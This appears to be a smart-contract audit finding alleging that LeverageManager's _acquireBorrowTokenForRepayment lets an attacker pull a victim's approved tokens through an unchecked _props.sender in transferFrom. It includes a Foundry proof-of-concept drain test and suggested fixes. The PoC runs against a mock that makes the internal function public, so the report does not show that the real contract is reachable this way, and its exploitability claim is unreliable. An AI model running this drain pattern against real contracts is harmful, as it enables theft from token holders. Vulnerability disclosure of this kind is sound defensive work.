Skip to content

Latest commit

 

History

History
268 lines (210 loc) · 10 KB

File metadata and controls

268 lines (210 loc) · 10 KB

Docile Rusty Bobcat

High

An attacker will steal user funds for token holders as they will exploit arbitrary from in transferFrom.

Summary

The use of an arbitrary from address in transferFrom will cause a complete loss of funds for token holders as an attacker will transfer tokens from any victim’s address to the contract without their consent.

Root Cause

In LeverageManager.sol#L429, the contract uses _props.sender as the source of tokens without validating that _props.sender matches the caller (msg.sender). Because _props.sender is never checked, an attacker can supply any address in the LeverageFlashProps struct—draining tokens from another user’s wallet.

function _acquireBorrowTokenForRepayment(
        LeverageFlashProps memory _props,
        address _pod,
        address _borrowToken,
        uint256 _borrowNeeded,
        uint256 _podAmtReceived,
        uint256 _podSwapAmtOutMin,
        uint256 _userProvidedDebtAmtMax
    ) internal returns (uint256 _podAmtRemaining) {
        _podAmtRemaining = _podAmtReceived;
        uint256 _borrowAmtNeededToSwap = _borrowNeeded;
        if (_userProvidedDebtAmtMax > 0) {
            uint256 _borrowAmtFromUser =
                _userProvidedDebtAmtMax >= _borrowNeeded ? _borrowNeeded : _userProvidedDebtAmtMax;
            _borrowAmtNeededToSwap -= _borrowAmtFromUser;
            IERC20(_borrowToken).safeTransferFrom(_props.sender, address(this), _borrowAmtFromUser);
        }
        // sell pod token into LP for enough borrow token to get enough to repay
        // if self-lending swap for lending pair then redeem for borrow token
        if (_borrowAmtNeededToSwap > 0) {
            if (_isPodSelfLending(_props.positionId)) {
                _podAmtRemaining = _swapPodForBorrowToken(
                    _pod,
                    positionProps[_props.positionId].lendingPair,
                    _podAmtReceived,
                    IFraxlendPair(positionProps[_props.positionId].lendingPair).convertToShares(_borrowAmtNeededToSwap),
                    _podSwapAmtOutMin
                );
                IFraxlendPair(positionProps[_props.positionId].lendingPair).redeem(
                    IERC20(positionProps[_props.positionId].lendingPair).balanceOf(address(this)),
                    address(this),
                    address(this)
                );
            } else {
                _podAmtRemaining = _swapPodForBorrowToken(
                    _pod, _borrowToken, _podAmtReceived, _borrowAmtNeededToSwap, _podSwapAmtOutMin
                );
            }
        }
    }

Internal Pre-conditions

  1. Admin needs to deploy the contract with the vulnerable `_acquireBorrowTokenForRepayment` function.
    
  2. Users must hold tokens of the type specified by `_borrowToken` and have approved the contract to spend their tokens (if applicable).
    
  3. The contract must have a non-zero balance of the `_borrowToken` to make the attack profitable.
    

External Pre-conditions

  1. The victim’s address must hold tokens of the type specified by `_borrowToken`.
    
  2. The victim’s address must have approved the contract to spend their tokens.
    

Attack Path

  1. Attacker identifies a victim who holds tokens of the type specified by `_borrowToken`.
    
  2. Attacker crafts malicious `LeverageFlashProps` with the victim’s address as _props.sender.
    
  3. Attacker calls `_acquireBorrowTokenForRepayment` with the malicious props, specifying the victim’s address as the from address.
    
  4. The contract transfers tokens from the victim’s address to itself using `transferFrom`.
    
  5. Attacker steals the tokens by withdrawing them from the contract _or_ exploiting other functions.
    

Impact

The token holders suffer a complete loss of their tokens transferred to the contract. The attacker gains the stolen tokens, which can amount to 100% of the victim’s principal and yield.

PoC

Remove .txt from the end of the attachement. This is a fully crafted PoC, renamed to allow uploading. ExploitTest.t.sol.txt

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.28;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

// Mock vulnerable contract
contract LeverageManager {
    struct LeverageFlashProps {
        address sender;
    }

    function _acquireBorrowTokenForRepayment(
        LeverageFlashProps memory _props,
        address _borrowToken,
        address,
        uint256 _someAmount,
        uint256,
        uint256,
        uint256
    ) public {
        // Vulnerable line - uses _props.sender without verification
        IERC20(_borrowToken).transferFrom(_props.sender, address(this), _someAmount);
    }
}

contract ExploitTest is Test {
    LeverageManager public target;
    address public victim;
    address public borrowToken;
    address public attacker;

    function setUp() public {
        // Deploy contracts
        target = new LeverageManager();
        
        // Setup addresses
        victim = makeAddr("victim");
        attacker = makeAddr("attacker");
        
        // Deploy mock token
        MockERC20 token = new MockERC20("Test Token", "TEST");
        borrowToken = address(token);

        // Give victim tokens
        deal(borrowToken, victim, 100 ether);

        // Victim approves spending (as often required in DeFi)
        vm.startPrank(victim);
        IERC20(borrowToken).approve(address(target), type(uint256).max);
        vm.stopPrank();
    }

    function testExploit() public {
        // Initial balances
        uint256 victimInitialBalance = IERC20(borrowToken).balanceOf(victim);
        assertEq(victimInitialBalance, 100 ether, "Victim should start with 100 tokens");

        // Prepare malicious props targeting victim
        vm.startPrank(attacker);
        LeverageManager.LeverageFlashProps memory props;
        props.sender = victim; // Maliciously set sender as victim

        // Execute attack
        target._acquireBorrowTokenForRepayment(
            props,
            borrowToken,
            address(0),
            100 ether,
            0,
            0,
            0
        );
        vm.stopPrank();

        // Verify exploit success
        uint256 victimFinalBalance = IERC20(borrowToken).balanceOf(victim);
        uint256 contractBalance = IERC20(borrowToken).balanceOf(address(target));

        assertEq(victimFinalBalance, 0, "Victim's tokens should be drained");
        assertEq(contractBalance, 100 ether, "Contract should have stolen tokens");
    }
}

// Mock ERC20 token for testing
contract MockERC20 is IERC20 {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return 18;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "ERC20: transfer from zero");
        require(to != address(0), "ERC20: transfer to zero");
        require(_balances[from] >= amount, "ERC20: insufficient balance");

        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal {
        require(owner != address(0), "ERC20: approve from zero");
        require(spender != address(0), "ERC20: approve to zero");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}

Image

Image

Mitigation

Validate _props.sender: Ensure that _props.sender is either msg.sender or a trusted address. require(_props.sender == msg.sender, "Unauthorized sender");

Use msg.sender Directly: Replace _props.sender with msg.sender in the transferFrom call: IERC20(_borrowToken).safeTransferFrom(msg.sender, address(this), _borrowAmtFromUser);

Add Access Control: Restrict the function to authorized users or roles using a modifier like onlyOwner or onlyRole.